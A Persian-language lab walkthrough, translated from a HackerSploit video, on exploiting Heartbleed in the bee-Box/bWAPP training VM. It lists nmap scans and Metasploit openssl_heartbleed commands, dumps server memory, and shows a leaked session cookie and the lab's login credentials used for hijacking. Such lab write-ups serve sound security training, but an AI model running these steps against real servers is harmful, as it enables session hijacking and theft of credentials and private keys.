اکسپلویت آسیب پذیری Heartbleed

در این مقاله نگاهی به Heartbleed می‌اندازیم راه پیدا کردن و اکسپلویت نمودن این نقص را خواهیم گفت. Heartbleed یک باگ و یا آسیب پذیری در کتابخانه رمزنگاری openSSL است و به صورت گسترده در اجرای لایه‌های انتقالی یا در پروتکل TLS استفاده می‌شود. این نقص می‌تواند اطلاعاتی را به حمله کننده نشان دهد که توسط SSL یا رمزنگاری TLS محافظت می‌شود.

این نقص اجازه خواندن حافظه سیستم را می‌دهد که توسط یک ورژن آسیب پذیر openSSL محافظت می‌شود. نسخه openSSL که آسیب پذیر است نسخه 1.0.1 است و نسخه های جدیدتر جلوی این نقص را گرفته‌اند. این مقاله برای کسانی مفید است که میخواهند CTF را اجرا کنند و یا از آسیب پذیری Heartbleed برای اجرای اکسپلویت استفاده کنند.

برای شروع این کار از ابزار bee-Box استفاده می‌کنیم که در پست ابزارهای باگ بانتی و آسیب پذیری Iframe Injection هم گفته شد این نرم افزار یک ماشین مجازی آسیب پذیری است که شامل bWAPP است. در این ماشین نقص Heartbleed در یک پورت خاص پیاده سازی شده است پس آن را راه اندازی می‌کنیم.

برای اینکه بتوانیم آسیب پذیری Heartbleed روی یک وب سایت پیدا کنیم اول از همه باید آسیب پذیری‌های یک وب سرور را اسکن کنیم و اگر تنظیمات ناردست (misconfiguration) وجود داشته باشد می‌توان از این آسیب پذیری استفاده کرد. روی bWAPP کلیک می‌کنیم و log in می‌کنیم. از قسمت choose your bug آسیب پذیری Heartbleed vulnerability را انتخاب می‌کنیم. روی صفحه پیغام زیر ظاهر می‌شود:

/Heartbleed vulnerability/

The Nginx a vulnerable open SSL version (bee-box only)

HINT: login on port 8443and lunch the attack script

در ادامه در ترمینال nmap برای اینکه آسیب پذیری سایت را اسکن کنیم دستور زیر را تایپ می‌کنیم:

Sudo nmap -SV -A [IP Address]

با این دستور پایگاه داده nmap شروع به کار می‌کند و از این طریق پورت آسیب پذیر را پیدا می‌کنیم با اینکه خود bWAPP پورت آسیب پذیر را اعلام کرده است. در ادامه آدرس زیر را در قسمت URL جستجوگر وارد می‌کنیم.

https://192.168.1.105:8443

با باز شدن صحفه متوجه می‌شوم که این آسیب پذیری وجود دارد و گواهی openSSL وب سایت دارای نقص امنیتی است. با استفاده از دستور nmap یا با استفاده از اسکنر دیگر کنسول Metasploit می‌توان نوع آسیب پذیری را پیدا کرد و دستور زیر را اجرا می‌کنیم:

Sudo nmap -p 8443 –script ssl-heartbleed [IP Address]

بعد از اجرای این دستور متوجه آسیب پذیری Heartbleed می‌شویم که در ترمینال به وضوح به این امر اشاره می‌کند. و در نتیجه نشان داده شده دنبال عبارت زیر می‌گردیم:

State: VULNERABLE

Risk factor: High

زمانی که عبارت Risk factor: High نشان داده شده است به این معنی است که احتمال اکسپلویت کردن از این نقص بالا است. حالا که اسکن را با nmap انجام دادیم به سراغ Metasploit می‌رویم و برای اینکار در ترمینال دستور زیر را اجرا می‌کنیم:

mfsconsole

و بعد از اجرا شدن دستور زیر را وارد می‌کنیم:

search openssl_heartbleed

با اجرای این دستور کنسول Metasploit دنبال این آسیب پذیری می‌گردد و نتایج جستجو را نشان می‌دهد. که به شکل زیر است:

Name: auxiliary/scanner/ssl/openssl_heartbleed       Disclosure Date: 2014-04-07          

بعد از دیدن نتایج دستور زیر را اجرا می‌کنیم:

Use auxiliary/scanner/ssl/openssl_heartbleed

با اجرای این دستور ماژولی داخل کنسول Metasploit اجرا می‌شود و سپس دستور زیر را وراد می‌کنیم:

show options

با اجرای این دستور یک سری انتخاب به ما می‌دهد که مهم ترین انتخاب‌ها را توضیح می‌دهیم. گزینه TLS_VERSION ورژنی که باید استفاده کنیم را به ما می‌گوید و سپس دستور زیر را وارد می‌کنیم:

set RHOSTS [IP Address]

سپس دستور زیر را وارد می‌کنیم:

set PORT 8443

در ادامه دستور زیر را وارد می‌کنیم:

show info

 بعد از اجرای این دستور بخشی با عنوان اقداماتی که می توان انجام داد ظاهر میشود که به شکل زیر است:

Available actions:

Name                     Description

DUMP                    Dump memory contents to loot

KEYS                     Recover private key from memory

SCANS                   Check hosts for vulnerability

سپس دستور زیر را اجرا می‌کنیم:

set action SCANS

و در ادامه دستور زیر اجرا می‌کنیم:

run

با اجرای run پیغام زیر ظاهر می‌شود که نشان از اکسپلویت کردن است:

-Hearbeat response with leak 65535 bytes

در ادمه به صفحه اول وب سرور bee box می‌رویم و logout و login تا بتوانیم یک آسیب پذیری خاص را نشان دهیم. بعد از login داخلbWAPP می‌شویم و دوباره logout و login میکنیم و بعد از انجام اینکار دستور زیر را وارد می‌کنیم:

set action DUMP

و سپس دستور run اجرا می‌کنیم. با اینکار آدرس ذخیره شده اطلاعات در حافظه سیستم قربانی را به ما می‌دهد که به شکل زیر است:

-Heartbeat data stored in /home/alexis/.msf4/loot/20190510005209_default_192.168.1.105_openssl.heartble_156587.bin

و با وارد کردن دستور زیر:

strings /home/alexis/.msf4/loot/20190510005209_default_192.168.1.105_openssl.heartble_156587.bin

می‌توان محتویات داخل این فایل را خواند و بهترین روش برای خواندن محتویات این فایل دنبال گشتن sting هایی است که قابل خواندن باشند یعنی کلمه با معنی و مفهوم باشد و متوجه می‌شوم شامل اطلاعات ایمیل و اطلاعاتی است که به صفحه وب می‌فرستد و در این صفحه باید دنبال PHP session ID باشیم:

Cookie: security_level=0; PHPSESSID=cc3ce4dc07863907cf2552ea4839180

این اطلاعات با همان عمل logout و login توانستیم پیدا کنیم که در قسمت DUMP پیدا شد. با این کار می‌توان به جای کاربر دیگر لاگین نمود و با سطح دسترسی همان کاربر اگر مدیر باشد سطح دسترسی مدیر را در اختیار خواهیم داشت و از این طربق حملات مختلفی را می‌توانیم به پایگاه داده اعمال نمود. در ادامه اطلاعات کاربر شامل نام کاربری و پسورد بعد اجرای کد strings در اختیار حمله کننده قرار می‌گیرد. که به شکل زیر است:

Login=bee&password=bug&security level=0&from submithq

منابع

  1. ترجمه شده از ویدیو HackerSploit

در صورت تمایل به اشتراگ بگذارید